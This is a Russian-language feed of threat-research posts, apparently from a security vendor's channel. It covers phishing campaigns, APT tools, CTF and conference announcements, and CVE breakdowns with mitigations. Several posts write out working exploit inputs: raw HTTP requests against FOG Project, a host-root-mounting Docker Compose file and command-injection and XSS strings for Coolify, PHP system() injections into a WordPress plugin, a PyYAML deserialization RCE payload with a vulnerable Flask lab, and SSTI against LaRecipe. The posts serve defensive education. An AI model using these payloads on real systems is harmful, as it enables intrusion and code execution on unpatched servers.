Четыре луча

NGC6061: серия фишинговых атак на госсектор

С сентября 2024 года и по текущий момент наблюдаем серию фишинговых рассылок на российские организации из госсектора. Эту кампанию мы причисляем к деятельности пока еще неизвестного киберпреступного кластера NGC6061.

1️⃣ Для обхода защиты злоумышленники используют запароленные архивы.
2️⃣ Атака начинается с self-extracting LNK-файлов, запускающих powershell-скрипты для декодирования вредоносных компонентов.
3️⃣ В качестве приманок используют документы со встроенным механизмом профилирования целей.
4️⃣ Конечная нагрузка может быть в виде Reverse Shell или Metasploit TCP Reverse.

Подробное описание фишинговых писем и индикаторы компрометации ищите в статье.

Приходите нас послушать на VolgaCTF

До 19 сентября в Самаре идет VolgaCTF — ежегодные международные соревнования по информационной безопасности. В программе конференции есть доклад от Solar 4RAYS — «Байки Blue Team: как атакуют профессионалы (и не только)». Об этом расскажут:

✅ Денис Чернов, инженер группы расследований инцидентов;
✅ Дмитрий Маричев, аналитик группы анализа вредоносного ПО в Solar 4RAYS.

Приходите 17 сентября в 12:30 в отель «Лотте». Ответим на все вопросы 😀

Одна уязвимость три проблемы — CVE-2025-58443

CVE-2025–58443 — это уязвимость обхода авторизации в FOG Project. Версии 1.5.10.1673 и ниже уязвимы.

😬 Метрики

Base Core: 9.9
CWE: CWE-306 CWE-287

Злоумышленник может:
1️⃣ выполнить неаутентифицированный дамп базы данных;
2️⃣ листинг директорий;
3️⃣ выполнить SSRF-атаку, а также Open redirection.

😬 Подробнее
Уязвимость заключается в том, что при обращении к конечным точкам не проверяется авторизация. POST запрос на данную конечную точку /fog/management/export.php приведет к извлечению базы.

POST /fog/management/export.php HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

fogguiuser=&fogguipass=&nojson=4&export=3

Дополнение: данный URI так же уязвим к RCE в версии ≤ 1.5.10.34. RCE передается через аналогичный POST запрос на /fog/management/export.php?filename=$(id)&type=pdf.

☀️ GET запрос на /fog/service/getversion.php?url=<PATH> вызовет SSRF.
☀️ GET запрос на /fog/status/getfiles.php?path=<DIR> вызовет листинг каталога.

Сейчас известно только о трех уязвимых точках. Процесс эксплуатации — на скриншоте.

😬 Как защищаться
1) Обновиться.
2) Закрыть доступ к /fog/service/, /fog/status/, /fog/management/ для внешних IP, например, правилами на WAF/IDS.

Solar 4RAYS FlagHunt: опубликовали разборы заданий 😬

Недавно рассказывали про наш CTF Solar 4RAYS FlagHunt, который готовили для OFFZONE. Теперь публикуем подробный разбор всех 11 тасков. Если решали, но не решили, то читайте в нашем блоге подробности.

RCE RCE XSS В Coolify

В публичном доступе опубликованы три отчета PoC об уязвимостях в coolLabs. Все три уязвимости имеют критический уровень опасности, уязвимы версии до 4.0.0-beta.420.7.

💣 CVE-2025–34159 — платформа позволяет аутентифицированным пользователям с минимальными правами внедрять произвольные директивы Docker Compose при создании проекта. Злоумышленник создает вредоносную службу, которая монтирует корневую файловую систему хоста, и получает полный доступ с правами root к серверу.

💣 CVE-2025–34161 — платформа позволяет аутентифицированным пользователям с ролью «Участник» выполнять произвольные команды-оболочки через поле Git Repository при создании проекта.

💣 CVE-2025–34157 — платформа уязвима к атаке с использованием хранимого межсайтового скриптинга (XSS) в процессе удаления проекта.

Для всех атак необходима аутентификация, что немного смягчает ее воздействие.

😬 Как эксплуатируется CVE-2025–34159
Для атаки злоумышленник должен совершить действия:

Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Docker Compose Empty - > создать Docker Compose с подобным содержимым - > запустить деплой (Deploy)

version: '3.8'
services:
  poc-host-root:
    image: alpine:3.19
    tty: true
    volumes:
      - /:/host:rw
    command: >
      sh -c "
        echo 'LOL RCE' > /host/tmp/proof_rce.txt 
 "

▪️ /:/host:rw — монтирует root файловой системы хоста (/) в контейнер по пути /host;
▪️ echo 'LOL RCE' > /host/tmp/proof_rce.txt — создаст файл proof_rce.txt в директории /host/tmp/ контейнера, и этот тот же самый файл в директории /tmp/ на хосте.

😬 Как эксплуатируется CVE-2025–34161
Для атаки злоумышленник должен совершить действия:

Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Private Repository (with GitHub App) - > В поле HTML Url ввести https://github.com/XXX/XXXX.git; ls #; - > выбрать созданный ресурс - > запустить деплой (Deploy)

😬 Как эксплуатируется CVE-2025–34157
Для атаки злоумышленник должен совершить действия:

Создать новый проект (New Project) -> задать имя(Name), например <img src = "x" onerror = alert("XSS ")>

При удалении такого проекта администратор или владелец получит выполнение XSS. При удалении XSS скрипт попадает в окно вывода ошибки.

В качестве примера на рисунке показана CVE-2025–34159 (Скриншот 1) и CVE-2025–34157 (Скриншот 2).

😬 Как защищаться
CVE-2025–34159 — можно написать правило, которое будет блокировать запросы на конечную точку /livewire/update, если в параметре JSON updates передаются спец символы, например: ; | && < > ` { }

"updates":{"github_app.html_url":"https://github.com:fake/repo.git; ls -la #;"}

CVE-2025–34161 — это поведение потенциально допустимо для пользователей с высокими правами. Поэтому правило на передачу command может привести к ложным сработкам. Рекомендуем обновиться или ограничить как передачу команд, так и монтирование директорий для всех пользователей.

CVE-2025–34157 — большинство современных WAF имеют большой набор сигнатур по выявлению XSS. Но также можно написать правило, опираясь на позитивную модель. Так как речь идет об имени проекта то блокировать передачу ; | & < > ` { } , - = + Конечная точка - /livewire/update, Json параметр:

"updates":{"name":"<img src = \"x\" onerror = alert(\"RCE!\")>","description":"<img src = \"x\" onerror = alert(\"RCE!\")>"}

Solar 4RAYS FlagHunt: продолжайте охоту

На отгремевшем OFFZONE 2025 мы на нашем стенде проводили CTF. Судя по реакции, наши таски вам понравились: соревновались 200 участников! Кроме того, нас неоднократно просили оставить возможность решать задания после конференции. ❤️

Услышали, оставляем!

Если у вас есть желание попробовать свои силы в решении задач по реверсу, вебу и форензике, приходите на наш сервер и продолжайте охоту. Задания доступны до 2 сентября включительно, а после опубликуем в блоге подробный разбор каждого из них.

Удачи в решении ✅

Приходите на наш практикум по Sigma-правилам 3-го сентября

Если вы SOC-аналитик, занимаетесь Threat Hunting или DFIR, то у нас для вас новости: 3-го сентября перевернем календарь и проведем онлайн-практикум по созданию крутых Sigma-правил.

Расскажем:

👍 как правильно написанные Sigma позволяют снизить число ложных срабатываний;
👍 что такое Detection as a Code и как он помогает готовить эффективные Sigma-правила;
👍 как применять Sigma-правила в реальных кейсах.

Умеете писать четкие Sigma-правила? Приходите и проверьте у нас на вебинаре!

Когда: 3 сентября, 12:00 МСК.
Как попасть: зарегистрироваться по ссылке

Новый инструментарий Fairy Trickster и вероятная связь с Lifting Zmiy

За последнее время вышло много исследований по группировке Fairy Trickster (PhantomCore, Rainbow Hyena, Head Mare) от наших коллег:
😬 «Rainbow Hyena снова атакует: новый бэкдор и смена тактик» от BI.ZONE
😬 «Атрибуция Exchange-кейлоггеров к группировке PhantomCore» от Positive Technologies
😬 «Масштабная кампания кибершпионажа и возможный раскол APT-группировки PhantomCore» от PT

Мы тоже наблюдали аналогичную фишинговую кампанию против наших заказчиков, поэтому хотим поделиться нашей частью уникальной информации про эту группировку.

1️⃣ Помимо описанных коллегами утилит, Fairy Trickster также применяют обратный Socks5 прокси-сервер tsocks и кастомный .NET бэкдор, который предоставляет обратную оболочку и реализует несколько команд.

2️⃣ На этапе постэксплуатации применялась обфусцированная известная отечественная powershell-утилита T1ck3tDump для дампа билетов Kerberos с измененными данными об авторстве.

3️⃣ Злоумышленники через PhantomRemote загрузили новую версию PhantomTaskShell, обфусцированную тем же инструментом, что и утилита T1ck3tDump.

4️⃣ Обфускация упомянутых утилит очень похожа на обфускацию новых версий BrockenDoor группировки Lifting Zmiy (BO_TEAM, Hoody Hyena). Это позволяет предположить, что группировки могут делиться инструментами. В этом случае обфускатором.

Подробнее по пунктам читайте в статье.

Хранимая RCE 👀

CVE-2025-8723 — уязвимость удаленного выполнения произвольного кода в плагине Cloudflare Image Resizing для WordPress, которая возникает из-за отсутствия аутентификации и недостаточной очистки в методе hook_rest_pre_dispatch(). Уязвимы версии до 1.5.6.

😬 Метрики

Base Score: 9.8 CRITICAL
CWE: CWE-94

Настоятельно рекомендуем обновиться.

😬 Подробнее
Уязвимость позволяет менять кодовою базу конфигурационного файла config.php. Другими словами, эту уязвимость можно назвать хранимой RCE. В файле существует такой код, который получает данные из параметра cf_image_resizing_format и вставляет их в $config_file.

        $format = @isset($request['cf_image_resizing_format']) ? $request['cf_image_resizing_format'] : null;
          
        if (null !== $format)
        {
            $file_content = file_get_contents($config_file);
    
            $file_content = preg_replace("/(define\(\'CF_IMAGE_RESIZING_FORMAT\'\,\s\')(.*)(\'\)\;)/", "$1$format$3", $file_content);
        
            file_put_contents($config_file, $file_content);
        }

$config_file — это config.php.

 $config_file = WP_PLUGIN_DIR.'/cf-image-resizing/config.php'

Если отправим запрос такого вида,

POST /wp-json/wp/v2/settings/ HTTP/1.1
Host: 192.168.177.165
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/89.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 52

{"cf_image_resizing_format":"'); system('id'); /*" }

то получим следующие изменения в конфигурационном файле:

// Recommended: 'auto'
define('CF_IMAGE_RESIZING_FORMAT', ''); system('id'); /*');

Важно отметить, что cf_image_resizing_format — не единственный уязвимый параметр. Еще есть, например, cf_image_resizing_fit. Более подробно с ними можно ознакомиться, скачав плагин и открыв config.php.

Введённый код напрямую добавляется в файлы плагина и позволяет атакующему выполнять внедрённые команды при каждом запросе к сайту без необходимости ввода shell-команд. Например, если в кодовую базу плагина попадёт такая строка, файл Hi.html будет создаваться или перезаписываться при каждом посещении сайта. Любой посетитель триггерит выполнение команды.

Уточнение: при посещении страницы все активные плагины автоматически загружаются, и будет выполнен любой код в их главных файлах или подключаемых конфигурациях.

{"cf_image_resizing_format":"'); system('echo \"<h1>Привет<h1>\" > Hi.html'); /*" }

😬 Как защититься
На WAF можно написать правило, которое отслеживает передачу функций system, exec, shell_exec, eval в параметрах cf_image_resizing_fit, cf_image_resizing_format на конечную точку /wp-json/wp/v2/settings/.

Увидимся на OffZone 2025!

Уже завтра стартует конференция OffZone 2025. Мы в ней участвуем — рассказываем заранее, что приготовили.

🫡 Экскурсия в командный центр Shedding Zmiy

Однажды мы наткнулись на странную веб-панель, а когда пригляделись, поняли, что это целый «командный центр», через которую группировка Shedding Zmiy (и, возможно, некоторые другие группировки) координируют свои атаки на российские организации. В нашем выступлении расскажем:

— как устроена техническая «кухня» злоумышленников;
— с помощью чего они планируют и развивают свои атаки на российские организации и почему иногда такие атаки могут произойти «по клику мыши»;
— как корпоративный подход к организации атак помогает злоумышленникам структурировать свою деятельность.

Приходите 22 августа, в 13:30 в Threat Zone!

🫡 Стенд Solar

Ищите нас на крыше, напротив фото-поинта — на карте это стенд № 11. На стенде проведем розыгрыш призов через лототрон и организуем челленджи. Целых два.

🫡 4RAYS FlagHunt

Подготовили для вас пачку тасков в нашем CTF по реверсу, вебу и форензике. Задания есть разные: и те, что решаются за полчаса, и те над которыми придется попотеть — простым промптом для LLM не отделаться 👀

🫡 «Полный Offense» by DSec

Если чувствуете себя в настроении поиграть за команду «красных», то попробуйте свои силы в челлендже «Полный Offense», который готовят наши коллеги из DSec. Просто не будет!

ЗА ВСЕ ПЛАТИМ МЕРЧОМ И\ИЛИ ЗВОНКИМ ОФФКОИНОМ!

Встречаемся на выступлении и на стенде. Он, кстати, с пасхалкой.

Gorilla: взлет и падение нового банковского трояна

Весной 2025-го в Telegram начали продавать новый банковский троян Gorilla. Многофункциональный, написанный на Kotlin, с интеграцией в Telegram, управлением устройствами и «заточкой» под банковские приложения.

Поначалу всё шло по плану — десятки активных C2, регулярные обновления, коммерческая модель. Но к августу — полная тишина: управляющие сервера не отвечают, Telegram-канал замолчал, а в чате заговорили о проблемах у разработчика.

В статье мы:
😬 разбираем архитектуру Gorilla Panel, написанную на Django (и почему DEBUG стал слабым местом);
😬 анализируем сетевую инфраструктуру и эндпоинты;
😬 рассказываем, как троян «ушёл со сцены» (так же быстро, как появился).

Читать в блоге

CFP: Подавайтесь на SOC Forum 2025! ✅

Всем привет! Call for Papers на техно-стрим SOC Forum 2025 открыт!

Темы:

😬 Offense: актуальные техники атак, этичный хакинг, выявление уязвимостей, новые инструменты и наступательные подходы.
😬 Defense: актуальные технологии защиты, обнаружение и реагирование на угрозы, кейсы реальных атак и их разбор, анализ APT-группировок и их инструментов (DFIR, MA, TI, TH, SOC, VM).
😬 Архитектура ИТ и ИБ: построение безопасных систем.
😬 SOC-практикум: для тех, кто хочет обменяться опытом, лайфхаками и рабочими методиками.

Тайминг: до 30 минут.
Дата и время: 19–20 ноября, «Тимирязев Центр».

Кстати, все выступающие получат +1 билет.

В этом году мы намереваемся сделать технический стрим SOC Forum еще более экспертным и полезным. Присоединяйтесь!

Чтобы подать заявку, выберите трек, зайдите в личный кабинет или зарегистрируйтесь на сайте. Заполните все поля заявки и отправьте ее. Как обычно: чем детальнее описание, тем выше шанс выступить.

⏰ Доклады принимаются по 14 сентября включительно.

Стать спикером

Десериализация ненадежных данных

👀 Делимся небольшой «лабораторной работой», которую можно повторить самостоятельно. Она касается уязвимости «Десериализация ненадежных данных» (CWE-502). Эта уязвимость в некоторых случаях может приводить к удаленному выполнению кода (RCE).

В библиотеке PyYAML существует задокументированное поведение, которое позволяет исполнять произвольный Python-код. До версии 5.4 это поведение вызывается не совсем явным образом, через yaml.load(), который по умолчанию разрешает исполнение Python-скриптов. В более новых версиях PyYAML поведение вызывается более явно — через yaml.unsafe_load(). Если сторонний пользователь может контролировать файлы, загружаемые в yaml.load() в версиях PyYAML >=5.4, то это открывает возможность для RCE атаки.

😬 «Лабораторная работа» основана на недавно найденной уязвимости CVE-2025–50460 в проекте ms-swift.

😬 Метрики

Base Score: 9,9
CWE: CWE-502

😬 Код и необходимые компоненты
1) Установить flask любой версии.
2) Установить PyYAML версии <=5.3.
3) Скопировать, вставить и запустить код.

from flask import Flask, request, render_template_string
import yaml
app = Flask(__name__)
HTML = '''
<!doctype html>
<form action="/" method=post enctype=multipart/form-data>
  <input type=file name=file>
  <input type=submit value=Загрузить>
</form>
<pre>{{ result }}</pre>
'''
@app.route("/", methods=["GET", "POST"])
def upload():
    result = ""
    if request.method == "POST":
        file = request.files.get("file")
        if file:
            try:
                data = yaml.load(file.read(), Loader=yaml.FullLoader)
                result = f"Загружено: {data}"
            except Exception as e:
                result = f"Ошибка: {e}"
    return render_template_string(HTML, result=result)

if __name__ == "__main__":
    app.run(debug=True)

😬 Полезная нагрузка
— Cоздайте Yaml файл с произвольным названием.
— Замените <RCE> на любой shell код.

!!python/object/new:type
args: ["z",!!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('<RCE>')"


type(...) динамически создаёт новый класс z

z() создаёт экземпляр этого класса

obj.extend(...) вызывает exec(...), передавая туда строку

Внутри этой строки вызывается os.system("<RCE>")

В итоге выполняется системная команда <RCE>. В нашем примере выполнялся запрос curl.

😬 Как защищаться
1) Обновите PyYAML.
2) Для более старых PyYAML используйте yaml.safe_load().
3) Ограничивайте возможность загрузки yaml для сторонних пользователей.

SSTI на примере CVE-2025-53833

CVE-2025-53833 — критичная уязвимость внедрения шаблонов на стороне сервера в LaRecipe. Уязвимы версии до 2.8.1. Рекомендуем обновиться 💣

LaRecipe — это открытый PHP-пакет, чтобы создавать документы в формате сайта. Его обычно используют для технической документации к проектам на Laravel, которые превращают Markdown-файлы в удобный веб-интерфейс с навигацией и поиском.

Метрики
Base Core: 10
CWE: CWE-1336

😬 Кратко о SSTI:
• Приложение использует шаблоны, чтобы генерировать HTML на сервере.
• Шаблонный движок поддерживает вставку переменных и выполнение функций.
• Если ввод пользователя подставляется в шаблон без фильтрации, то возможна инъекция.
• Злоумышленник может выполнить произвольный код на сервере.

В LaRecipe работает следующий механизм:
Сервер обрабатывает данные из URL запроса пользователя ⮕ компилирует PHP-код ⮕ подставляет полученный результат в HTML разметку.

Если конкретнее, он формирует дополнительные ссылки на документы. Например:
👁 Пользователь ввел: http:/target/?test=test
👁 Сервер вернул HTML : <a href="/user-manual/1.0?test=test#introduction">Introduction</a>

😬 Суть уязвимости CVE-2025-53833:
При вводе пользователем собственного шаблона, например {{test}}, сервер вернет ошибку 500 с подобным логом:

Error: Undefined constant "test" in …/larecipe/src/Traits/HasBladeParser.php(25) : eval()'d code:4

Участок кода HasBladeParser.php(25):

try {
      eval('?'.'>'.$content);
        }

Ошибка возникает при компиляции PHP-кода, так как переменная test не определена. Но если мы сами определим ее в шаблоне http:/target/?{{$test=’LOL’}} — ошибки не будет, мы получит верно сгенерированный HTML. Важно, что в качестве параметра URL HTML блока, будет находится значение, которое определено нашей переменной — LOL.

<a href="/user-manual/1.0?lol#introduction">Introduction</a>

Данная ошибка показывает, что компиляция происходит в функции eval() и значения на сервере никак не валидируются. Значит, мы можем вызвать уже определенную функцию system() и выполнить RCE. Пример — на скриншоте.

💡 Важное уточнение: полезная нагрузка может передаваться не только в качестве параметра, но и в качестве его значения. Если полезную нагрузку ввести в качестве пути, сервер вернет 404.

😬 Ка защититься:
На WAF можно написать правило, которое блокирует запросы с таким содержимым:
• названия переменных содержат конструкцию {{.*?}};
• в значениях переменных также содержится {{.*?}}. Чтобы избежать ложных сработок, например на json, включите в этот блок различные PHP-функции и операторы {{.*?(system|shell|exec|shell_exec|...|phpinfo\(\)...).*?}}.

Proxy Trickster: эксплуатирует инфраструктуру круглосуточно и глобально 👀

За срочными новостями о ToolShell забыли рассказать вам о новой группировке, которую мы обнаружили в одном из наших расследований. Исправляемся!

Этой весной мы расследовали ИБ-инцидент в компании из IT-сектора. И выяснили, что главная цель атакующих — майнинг криптовалют и proxyjacking. Казалось бы, что интересного в заурядном майнере или инструменте для проксирования трафика?

Оказывается, есть:
🫡 необычные техники уклонения от обнаружения и скрытности;
🫡 построение целой архитектуры в виде скриптов и других приемов автоматизации;
🫡 следы использования утилиты gs-netcat и глобальный характер атаки: мы обнаружили свидетельства взлома нескольких сотен инфраструктур по всему миру.

Группировка активна с 2024 года. Мы назвали её Proxy Trickster и написали подробную статью о её работе. Читайте в блоге!

Критическая уязвимость в Citrix NetScaler ADC and Gateway CVE-2025-5777 😳

CVE-2025-5777, известная как CitrixBleed 2, — это уязвимость утечки памяти во время парсинга некоторых POST-запросов, в частности из-за параметра login. Уязвимость затрагивает NetScaler ADC и Gateway в версиях до выхода следующих патчей: 14.1 до 14.1-43.56, 13.1 до 13.1-58.32. В том числе вариации FIPS и NDcPP для версий 13.1 и 12.1.

🫡 Метрики

Base core: 9,3
CWE:
CWE-908
CWE-457
CWE-125

🫡 Суть уязвимости

— Уязвимость возникает, когда отправляют POST-запрос c параметром login, но без знака равенства и значения.
— В ответе сервера в XML-элементе <InitialValue> возвращается фрагмент содержимого неинициализированной памяти процесса.
— Каждая такая операция может сливать примерно до 127 байт содержимого, что позволяет постепенно получать различные чувствительные данные из памяти.

🫡 Как работает эксплуатация
— Отправляется специально сконструированный POST-запрос на эндпоинт /p/u/doAuthentication.do без необходимости аутентификации.
— В параметр login передаётся строка без знака равенства и значения, login может передаваться в разном регистре, например, Login. Как раз такая атака на скриншоте.

Первые упоминания о PoC появились около трёх недель назад, но в сети до сих пор находят уязвимые устройства. На сегодня известно о 14 публичных эксплойтах и двух шаблонах для сканера уязвимости Nuclei. Самый свежий эксплойт опубликован четыре дня назад. Настоятельно рекомендуем обновиться 😳

🫡 Как защититься
На WAF можно написать правило, которое блокирует POST-запросы на URI /p/u/doAuthentication.do c Body, состоящим только из параметра login в разных регистрах.

Как защититься от ToolShell — критические zero-day уязвимости в SharePoint

Недавно Microsoft выпустила патч для активно эксплуатируемых уязвимостей CVE-2025-53770 и CVE-2025-53771 в Microsoft SharePoint.

Цепочка уязвимостей CVE-2025-53770 и CVE-2025-53771 позволяет удаленно без аутентификации выполнять произвольный код. Это своего рода ProxyLogon 2.0, только для SharePoint! Сейчас доступны несколько PoC для CVE-2025-53770, поэтому интерес к эксплуатации этой уязвимости только подогревается.

У нас в блоге мы выпустили небольшой разбор особенностей эксплуатации этих уязвимостей и поделились компиляцией публично известных IOC. Читайте!

Но сначала рекомендуем проверить, есть ли в вашем периметре SharePoint-серверы. И если есть — следуйте рекомендациям.

👍 Рекомендации:

1) Убрать SharePoint-серверы из публичного доступа (например, за VPN).

2) Установить обновления:
— Июльские (CVE-2025-49701, CVE-2025-49703, CVE-2025-49704, CVE-2025-49706):
⚫️ SharePoint Server 2016 (KB5002744);
⚫️ SharePoint Server 2019 (KB5002741);
— Экстренные (CVE-2025-53770 и CVE-2025-53771):
⚫️ SharePoint Server 2016 (KB5002759, KB5002760 патчи выпустили вчера вечером, 21.07.2025);
⚫️ SharePoint Server 2019 (KB5002753, KB5002754);
⚫️ SharePoint Server Subscription Edition (KB5002768).

3) Заменить машинные ключи SharePoint и перезапустить IIS или сам сервер (подробно писали в этом посте).

👍 Как обнаружить эксплуатацию CVE-2025-53770? Что стоит проверить?

— наличие файла spinstall0.aspx.

В волнах атак он располагался по путям (отличаются каталогами 15 и 16):

C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\15\TEMPLATE\LAYOUTS\spinstall0.aspx
C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx

С высокой долей вероятности будущие веб-шеллы будут располагаться в других местах и под другими именами, которые зависят от нагрузок для десериализации, поэтому необходимо также исследовать IIS-логи.

— наличие файла C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js.
— логи IIS на наличие:
POST-запросов на /_layouts/15/ToolPane.aspx?DisplayMode=Edit c Referrer /_layouts/SignOut.aspx;
GET-запросов на /_layouts/15/spinstall0.aspx;
Других GET-запросов на подозрительные aspx-файлы.

👍 Для детектирования атак/сканирования на IDS/WAF можно написать правило, которое блокирует POST запросы на URI /_layouts/15/ToolPane.aspx?DisplayMode=Edit c заголовком Referrer /_layouts/SignOut.aspx.

Как и кого атаковали хакеры в 1 полугодии 2025? Расскажем на этой неделе.

Каждый день мы расследуем инциденты в инфраструктурах наших клиентов: находим новое вредоносное ПО, сталкиваемся с любопытными примерами применения тактик и техник. Раз в полгода мы собираем самые интересные находки и рассказываем о них.

В этот четверг, 24 июля, в 12:00 наши эксперты Геннадий Сазонов и Владимир Нестор проведут вебинар «Хроники целевых кибератак 2025: аналитика, кейсы, рекомендации».

На вебинаре ребята расскажут:
🫡Как изменился ландшафт целевых атак в первые 6 месяцев 2025 года;
🫡 Какие отрасли подверглись атакам, и кто атакует: цели, уровни сложности атак;
🫡 Какие техники и тактики использовали киберпреступники — разбор реальных кейсов.

Регистрация открыта!

Как и зачем анализировать ссылки на Discord при расследовании?

Иногда злоумышленники размещают вредоносные файлы на CDN-серверах Discord — платформе, которая с октября 2024 заблокирована в России. Например, ссылка для загрузки файла может выглядеть так:

https://cdn.discordapp.com/attachments/1385333150288183437/1385334815095787740/attachment.rar?ex=6855b116&is=68545f96&hm=6b61feec556011ad9f14fd362cf376dd4d3f22da46cc0a80d5cc42d611d77eee&

Как читать такие ссылки, чтобы получить из них максимум полезной информации
Ссылка выше имеет следующий формат:

https://cdn.discordapp.com/
attachments/<channel_id>/<attachment_id>/attachment.rar

channel_id -> 1385333150288183437
attachment_id -> 1385334815095787740.

Номера id записываются в формате Snowflake. Вот, что об этом пишут в документации:

Discord использует формат Snowflake, разработанный в X (ранее Twitter), для уникальных идентификаторов.

Что мы можем узнать
— channel_id — дата создания канала, в котором опубликовано сообщение с вложением.
— attachment_id — дата создания сообщения с вложением.

В значениях id первые 42 бита — время в миллисекундах с Discord Epoch = 2015-01-01T00:00:00Z.

Вывод: эта ссылка создана 2025-06-19 19:05:58Z и истекает 2025-06-20 19:05:58Z. Есть онлайн-сервисы для декодирования: snowsta.mp, discord.id и другие.

Еще одно важное изменение — с 2024 года Discord применяет подписанные временные CDN-ссылки на вложения. Обычно они действуют всего 24 часа. В таких ссылках также появились дополнительные параметры в URL:

ex=6855b116&is=68545f96&hm=6b61feec556011ad9f14fd362cf376dd4d3f22da46cc0a80d5cc42d611d77eee&

is — дата создания ссылки в hex (время в формате unix epoch).
ex — время истечения действия ссылки в hex.
hm — уникальная подпись, валидная до конца срока действия.

Итого, вот какие данные вы можете узнать из ссылки на Discord
— дату создания канала (декодируется онлайн-сервисами);
— дату публикации сообщения с вложением (декодируется онлайн-сервисами);
— дату создания и окончания действия ссылки (из параметров is и ex).